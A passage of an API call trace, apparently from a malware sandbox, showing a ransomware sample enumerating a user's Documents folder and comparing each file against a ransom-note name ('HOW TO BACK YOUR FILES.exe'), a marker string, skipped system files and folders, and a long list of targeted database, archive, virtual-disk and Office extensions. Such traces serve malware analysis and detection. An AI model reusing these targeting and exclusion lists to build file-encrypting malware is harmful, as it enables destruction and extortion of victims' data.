	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1
	[0040.559] lstrlenW (lpString="ns3") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1
	[0040.559] lstrlenW (lpString="ns4") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1
	[0040.559] lstrlenW (lpString="nsf") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1
	[0040.559] lstrlenW (lpString="nv") returned 2
	[0040.559] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1
	[0040.559] lstrlenW (lpString="nv2") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1
	[0040.559] lstrlenW (lpString="nwdb") returned 4
	[0040.559] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1
	[0040.559] lstrlenW (lpString="nyf") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1
	[0040.559] lstrlenW (lpString="odb") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0040.559] lstrlenW (lpString="odb") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0040.559] lstrlenW (lpString="oqy") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1
	[0040.559] lstrlenW (lpString="ora") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1
	[0040.559] lstrlenW (lpString="orx") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1
	[0040.560] lstrlenW (lpString="owc") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1
	[0040.560] lstrlenW (lpString="p96") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1
	[0040.560] lstrlenW (lpString="p97") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1
	[0040.560] lstrlenW (lpString="pan") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1
	[0040.560] lstrlenW (lpString="pdb") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1
	[0040.560] lstrlenW (lpString="pdm") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1
	[0040.560] lstrlenW (lpString="pnz") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1
	[0040.560] lstrlenW (lpString="qry") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1
	[0040.560] lstrlenW (lpString="qvd") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1
	[0040.560] lstrlenW (lpString="rbf") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1
	[0040.560] lstrlenW (lpString="rctd") returned 4
	[0040.560] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1
	[0040.560] lstrlenW (lpString="rod") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1
	[0040.560] lstrlenW (lpString="rodx") returned 4
	[0040.560] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1
	[0040.560] lstrlenW (lpString="rpd") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1
	[0040.560] lstrlenW (lpString="rsd") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1
	[0040.560] lstrlenW (lpString="sas7bdat") returned 8
	[0040.560] lstrcmpiW (lpString1="dZD.pptx", lpString2="sas7bdat") returned -1
	[0040.560] lstrlenW (lpString="sbf") returned 3
	[0040.560] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1
	[0040.560] lstrlenW (lpString="scx") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1
	[0040.562] lstrlenW (lpString="sdb") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1
	[0040.562] lstrlenW (lpString="sdc") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1
	[0040.562] lstrlenW (lpString="sdf") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1
	[0040.562] lstrlenW (lpString="sis") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1
	[0040.562] lstrlenW (lpString="spq") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1
	[0040.562] lstrlenW (lpString="te") returned 2
	[0040.562] lstrcmpiW (lpString1="tx", lpString2="te") returned 1
	[0040.562] lstrlenW (lpString="teacher") returned 7
	[0040.562] lstrcmpiW (lpString1="ZD.pptx", lpString2="teacher") returned 1
	[0040.562] lstrlenW (lpString="tmd") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1
	[0040.562] lstrlenW (lpString="tps") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1
	[0040.562] lstrlenW (lpString="trc") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0040.562] lstrlenW (lpString="trc") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0040.562] lstrlenW (lpString="trm") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1
	[0040.562] lstrlenW (lpString="udb") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1
	[0040.562] lstrlenW (lpString="udl") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="udl") returned -1
	[0040.562] lstrlenW (lpString="usr") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1
	[0040.562] lstrlenW (lpString="v12") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1
	[0040.562] lstrlenW (lpString="vis") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1
	[0040.562] lstrlenW (lpString="vpd") returned 3
	[0040.562] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1
	[0040.563] lstrlenW (lpString="vvv") returned 3
	[0040.563] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1
	[0040.563] lstrlenW (lpString="wdb") returned 3
	[0040.563] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1
	[0040.563] lstrlenW (lpString="wmdb") returned 4
	[0040.563] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1
	[0040.563] lstrlenW (lpString="wrk") returned 3
	[0040.563] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1
	[0040.563] lstrlenW (lpString="xdb") returned 3
	[0040.563] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1
	[0040.563] lstrlenW (lpString="xld") returned 3
	[0040.563] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1
	[0040.563] lstrlenW (lpString="xmlff") returned 5
	[0040.563] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1
	[0040.563] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8f9b20, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x751e6050, ftLastAccessTime.dwHighDateTime=0x1d4c962, ftLastWriteTime.dwLowDateTime=0x751e6050, ftLastWriteTime.dwHighDateTime=0x1d4c962, nFileSizeHigh=0x0, nFileSizeLow=0x1a9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4iPcCnFP5z2uji9.ppt", cAlternateFileName="4IPCCN~1.PPT")) returned 1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="Apollon865.txt.exe") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".") returned 1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="..") returned 1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="windows") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="bootmgr") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="temp") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="pagefile.sys") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="boot") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="ids.txt") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="ntuser.dat") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="perflogs") returned -1
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="MSBuild") returned -1
	[0040.563] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
	[0040.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx") returned 50
	[0040.563] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="4iPcCnFP5z2uji9.ppt" | out: lpString1="4iPcCnFP5z2uji9.ppt") returned="4iPcCnFP5z2uji9.ppt"
	[0040.563] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
	[0040.563] lstrlenW (lpString="Apollon865") returned 10
	[0040.563] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="Apollon865") returned 1
	[0040.563] lstrlenW (lpString=".dll") returned 4
	[0040.563] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".dll") returned 1
	[0040.563] lstrlenW (lpString=".lnk") returned 4
	[0040.564] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".lnk") returned 1
	[0040.564] lstrlenW (lpString=".ini") returned 4
	[0040.564] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".ini") returned 1
	[0040.564] lstrlenW (lpString=".sys") returned 4
	[0040.564] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".sys") returned 1
	[0040.564] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
	[0040.564] lstrlenW (lpString="bak") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="bak") returned 1
	[0040.564] lstrlenW (lpString="ba_") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="ba_") returned 1
	[0040.564] lstrlenW (lpString="dbb") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="dbb") returned 1
	[0040.564] lstrlenW (lpString="vmdk") returned 4
	[0040.564] lstrcmpiW (lpString1=".ppt", lpString2="vmdk") returned -1
	[0040.564] lstrlenW (lpString="rar") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="rar") returned -1
	[0040.564] lstrlenW (lpString="zip") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="zip") returned -1
	[0040.564] lstrlenW (lpString="tgz") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="tgz") returned -1
	[0040.564] lstrlenW (lpString="vbox") returned 4
	[0040.564] lstrcmpiW (lpString1=".ppt", lpString2="vbox") returned -1
	[0040.564] lstrlenW (lpString="vdi") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="vdi") returned -1
	[0040.564] lstrlenW (lpString="vhd") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="vhd") returned -1
	[0040.564] lstrlenW (lpString="vhdx") returned 4
	[0040.564] lstrcmpiW (lpString1=".ppt", lpString2="vhdx") returned -1
	[0040.564] lstrlenW (lpString="avhd") returned 4
	[0040.564] lstrcmpiW (lpString1=".ppt", lpString2="avhd") returned -1
	[0040.564] lstrlenW (lpString="db") returned 2
	[0040.564] lstrcmpiW (lpString1="pt", lpString2="db") returned 1
	[0040.564] lstrlenW (lpString="db2") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="db2") returned 1
	[0040.564] lstrlenW (lpString="db3") returned 3
	[0040.564] lstrcmpiW (lpString1="ppt", lpString2="db3") returned 1
	[0040.564] lstrlenW (lpString="dbf") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="dbf") returned 1
	[0040.565] lstrlenW (lpString="mdf") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="mdf") returned 1
	[0040.565] lstrlenW (lpString="mdb") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="mdb") returned 1
	[0040.565] lstrlenW (lpString="sql") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="sql") returned -1
	[0040.565] lstrlenW (lpString="sqlite") returned 6
	[0040.565] lstrcmpiW (lpString1="i9.ppt", lpString2="sqlite") returned -1
	[0040.565] lstrlenW (lpString="sqlite3") returned 7
	[0040.565] lstrcmpiW (lpString1="ji9.ppt", lpString2="sqlite3") returned -1
	[0040.565] lstrlenW (lpString="sqlitedb") returned 8
	[0040.565] lstrcmpiW (lpString1="uji9.ppt", lpString2="sqlitedb") returned 1
	[0040.565] lstrlenW (lpString="xml") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="xml") returned -1
	[0040.565] lstrlenW (lpString="$er") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="$er") returned 1
	[0040.565] lstrlenW (lpString="4dd") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="4dd") returned 1
	[0040.565] lstrlenW (lpString="4dl") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="4dl") returned 1
	[0040.565] lstrlenW (lpString="^^^") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="^^^") returned 1
	[0040.565] lstrlenW (lpString="abs") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="abs") returned 1
	[0040.565] lstrlenW (lpString="abx") returned 3
	[0040.565] lstrcmpiW (lpString1="ppt", lpString2="abx") returned 1
	[0040.565] lstrlenW (lpString="accdb") returned 5
	[0040.565] lstrcmpiW (lpString1="9.ppt", lpString2="accdb") returned -1
	[0040.565] lstrlenW (lpString="accdc") returned 5
	[0040.565] lstrcmpiW (lpString1="9.ppt", lpString2="accdc") returned -1
	[0040.565] lstrlenW (lpString="accde") returned 5
	[0040.565] lstrcmpiW (lpString1="9.ppt", lpString2="accde") returned -1
	[0040.565] lstrlenW (lpString="accdr") returned 5
	[0040.565] lstrcmpiW (lpString1="9.ppt", lpString2="accdr") returned -1
	[0040.565] lstrlenW (lpString="accdt") returned 5
	[0040.565] lstrcmpiW (lpString1="9.ppt", lpString2="accdt") returned -1
	[0040.565] lstrlenW (lpString="accdw") returned 5
	[0040.566] lstrcmpiW (lpString1="9.ppt", lpString2="accdw") returned -1
	[0040.566] lstrlenW (lpString="accft") returned 5
	[0040.566] lstrcmpiW (lpString1="9.ppt", lpString2="accft") returned -1
	[0040.566] lstrlenW (lpString="adb") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="adb") returned 1
	[0040.566] lstrlenW (lpString="adb") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="adb") returned 1
	[0040.566] lstrlenW (lpString="ade") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="ade") returned 1
	[0040.566] lstrlenW (lpString="adf") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="adf") returned 1
	[0040.566] lstrlenW (lpString="adn") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="adn") returned 1
	[0040.566] lstrlenW (lpString="adp") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="adp") returned 1
	[0040.566] lstrlenW (lpString="alf") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="alf") returned 1
	[0040.566] lstrlenW (lpString="ask") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="ask") returned 1
	[0040.566] lstrlenW (lpString="btr") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="btr") returned 1
	[0040.566] lstrlenW (lpString="cat") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="cat") returned 1
	[0040.566] lstrlenW (lpString="cdb") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="cdb") returned 1
	[0040.566] lstrlenW (lpString="ckp") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="ckp") returned 1
	[0040.566] lstrlenW (lpString="cma") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="cma") returned 1
	[0040.566] lstrlenW (lpString="cpd") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="cpd") returned 1
	[0040.566] lstrlenW (lpString="dacpac") returned 6
	[0040.566] lstrcmpiW (lpString1="i9.ppt", lpString2="dacpac") returned 1
	[0040.566] lstrlenW (lpString="dad") returned 3
	[0040.566] lstrcmpiW (lpString1="ppt", lpString2="dad") returned 1
	[0040.566] lstrlenW (lpString="dadiagrams") returned 10
	[0040.566] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="dadiagrams") returned 1
	[0040.567] lstrlenW (lpString="daschema") returned 8
	[0040.567] lstrcmpiW (lpString1="uji9.ppt", lpString2="daschema") returned 1
	[0040.567] lstrlenW (lpString="db-journal") returned 10
	[0040.567] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="db-journal") returned 1
	[0040.567] lstrlenW (lpString="db-shm") returned 6
	[0040.567] lstrcmpiW (lpString1="i9.ppt", lpString2="db-shm") returned 1
	[0040.567] lstrlenW (lpString="db-wal") returned 6
	[0040.567] lstrcmpiW (lpString1="i9.ppt", lpString2="db-wal") returned 1
	[0040.567] lstrlenW (lpString="dbc") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dbc") returned 1
	[0040.567] lstrlenW (lpString="dbs") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dbs") returned 1
	[0040.567] lstrlenW (lpString="dbt") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dbt") returned 1
	[0040.567] lstrlenW (lpString="dbv") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dbv") returned 1
	[0040.567] lstrlenW (lpString="dbx") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dbx") returned 1
	[0040.567] lstrlenW (lpString="dcb") returned 3
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dcb") returned 1
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dct") returned 1
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="dcx") returned 1
	[0040.567] lstrcmpiW (lpString1="ppt", lpString2="ddl") returned 1
	[0040.567] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="6nT_BzP0LY40i.xls" | out: lpString1="6nT_BzP0LY40i.xls") returned="6nT_BzP0LY40i.xls"
	[0040.567] lstrlenW (lpString="6nT_BzP0LY40i.xls") returned 17
	[0040.567] lstrlenW (lpString="Apollon865") returned 10
	[0040.567] lstrcmpiW (lpString1="0LY40i.xls", lpString2="Apollon865") returned -1
	[0040.567] lstrlenW (lpString=".dll") returned 4
	[0040.567] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".dll") returned 1
	[0040.567] lstrlenW (lpString=".lnk") returned 4
	[0040.567] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".lnk") returned 1
	[0040.567] lstrlenW (lpString=".ini") returned 4
	[0040.567] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".ini") returned 1
	[0040.568] lstrlenW (lpString=".sys") returned 4
	[0040.568] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".sys") returned 1
	[0040.568] lstrlenW (lpString="6nT_BzP0LY40i.xls") returned 17
	[0040.568] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="7yy1j31jF02aJndzSJq" | out: lpString1="7yy1j31jF02aJndzSJq") returned="7yy1j31jF02aJndzSJq"
	[0040.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0040.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0040.568] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0040.568] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a086b90, ftCreationTime.dwHighDateTime=0x1d4c76b, ftLastAccessTime.dwLowDateTime=0xf602a3e0, ftLastAccessTime.dwHighDateTime=0x1d4c9ec, ftLastWriteTime.dwLowDateTime=0xf602a3e0, ftLastWriteTime.dwHighDateTime=0x1d4c9ec, nFileSizeHigh=0x0, nFileSizeLow=0x1291a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8I7BHAdnmVxOrQI5s.docx", cAlternateFileName="8I7BHA~1.DOC")) returned 1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="Apollon865.txt.exe") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".") returned 1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="..") returned 1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="windows") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="bootmgr") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="temp") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="pagefile.sys") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="boot") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="ids.txt") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="ntuser.dat") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="perflogs") returned -1
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="MSBuild") returned -1
	[0040.568] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0040.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq") returned 59
	[0040.568] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="8I7BHAdnmVxOrQI5s.docx" | out: lpString1="8I7BHAdnmVxOrQI5s.docx") returned="8I7BHAdnmVxOrQI5s.docx"
	[0040.568] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0040.568] lstrlenW (lpString="Apollon865") returned 10
	[0040.568] lstrcmpiW (lpString1="rQI5s.docx", lpString2="Apollon865") returned 1
	[0040.568] lstrlenW (lpString=".dll") returned 4
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".dll") returned 1
	[0040.568] lstrlenW (lpString=".lnk") returned 4
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".lnk") returned 1
	[0040.568] lstrlenW (lpString=".ini") returned 4
	[0040.568] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".ini") returned 1
	[0040.568] lstrlenW (lpString=".sys") returned 4
	[0040.569] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".sys") returned 1
	[0040.569] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0040.569] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="8ndHEujlA.pps" | out: lpString1="8ndHEujlA.pps") returned="8ndHEujlA.pps"
	[0040.569] lstrlenW (lpString="8ndHEujlA.pps") returned 13
	[0040.569] lstrlenW (lpString="Apollon865") returned 10
	[0040.569] lstrcmpiW (lpString1="HEujlA.pps", lpString2="Apollon865") returned 1
	[0040.569] lstrlenW (lpString=".dll") returned 4
	[0040.569] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".dll") returned 1
	[0040.569] lstrlenW (lpString=".lnk") returned 4
	[0040.569] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".lnk") returned 1
	[0040.569] lstrlenW (lpString=".ini") returned 4
	[0040.569] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".ini") returned 1
	[0040.569] lstrlenW (lpString=".sys") returned 4
	[0040.569] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".sys") returned 1
	[0040.569] lstrlenW (lpString="8ndHEujlA.pps") returned 13
	[0040.569] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="9wlbrD09iub lai.docx" | out: lpString1="9wlbrD09iub lai.docx") returned="9wlbrD09iub lai.docx"
	[0040.569] lstrlenW (lpString="9wlbrD09iub lai.docx") returned 20
	[0040.569] lstrlenW (lpString="Apollon865") returned 10
	[0040.569] lstrcmpiW (lpString1="b lai.docx", lpString2="Apollon865") returned 1
	[0040.569] lstrlenW (lpString=".dll") returned 4
	[0040.569] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".dll") returned 1
	[0040.569] lstrlenW (lpString=".lnk") returned 4
	[0040.569] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".lnk") returned 1
	[0040.569] lstrlenW (lpString=".ini") returned 4
	[0040.569] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".ini") returned 1
	[0040.569] lstrlenW (lpString=".sys") returned 4
	[0040.569] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".sys") returned 1
	[0040.569] lstrlenW (lpString="9wlbrD09iub lai.docx") returned 20
	[0040.569] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="ABz2r6KKTt4.docx" | out: lpString1="ABz2r6KKTt4.docx") returned="ABz2r6KKTt4.docx"
	[0040.569] lstrlenW (lpString="ABz2r6KKTt4.docx") returned 16
	[0040.569] lstrlenW (lpString="Apollon865") returned 10
	[0040.569] lstrcmpiW (lpString1="KKTt4.docx", lpString2="Apollon865") returned 1
	[0040.570] lstrlenW (lpString=".dll") returned 4
	[0040.570] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".dll") returned 1
	[0040.570] lstrlenW (lpString=".lnk") returned 4
	[0040.570] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".lnk") returned 1
	[0040.570] lstrlenW (lpString=".ini") returned 4
	[0040.570] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".ini") returned 1
	[0040.570] lstrlenW (lpString=".sys") returned 4
	[0040.570] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".sys") returned 1
	[0040.570] lstrlenW (lpString="ABz2r6KKTt4.docx") returned 16
	[0040.570] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="aqIwEV.docx" | out: lpString1="aqIwEV.docx") returned="aqIwEV.docx"
	[0040.570] lstrlenW (lpString="aqIwEV.docx") returned 11
	[0040.570] lstrlenW (lpString="Apollon865") returned 10
	[0040.570] lstrcmpiW (lpString1="qIwEV.docx", lpString2="Apollon865") returned 1
	[0040.570] lstrlenW (lpString=".dll") returned 4
	[0040.570] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".dll") returned 1
	[0040.570] lstrlenW (lpString=".lnk") returned 4
	[0040.570] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".lnk") returned 1
	[0040.570] lstrlenW (lpString=".ini") returned 4
	[0040.570] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".ini") returned 1
	[0040.570] lstrlenW (lpString=".sys") returned 4
	[0040.570] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".sys") returned 1
	[0040.570] lstrlenW (lpString="aqIwEV.docx") returned 11
	[0040.570] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="AXN5p.docx" | out: lpString1="AXN5p.docx") returned="AXN5p.docx"
	[0040.570] lstrlenW (lpString="AXN5p.docx") returned 10
	[0040.570] lstrlenW (lpString="Apollon865") returned 10
	[0040.570] lstrlenW (lpString=".dll") returned 4
	[0040.570] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".dll") returned 1
	[0040.570] lstrlenW (lpString=".lnk") returned 4
	[0040.570] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".lnk") returned 1
	[0040.570] lstrlenW (lpString=".ini") returned 4
	[0040.570] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".ini") returned 1
	[0040.570] lstrlenW (lpString=".sys") returned 4
	[0040.570] lstrcmpiW (lpString1="AXN5p.docx", lpString2=".sys") returned 1
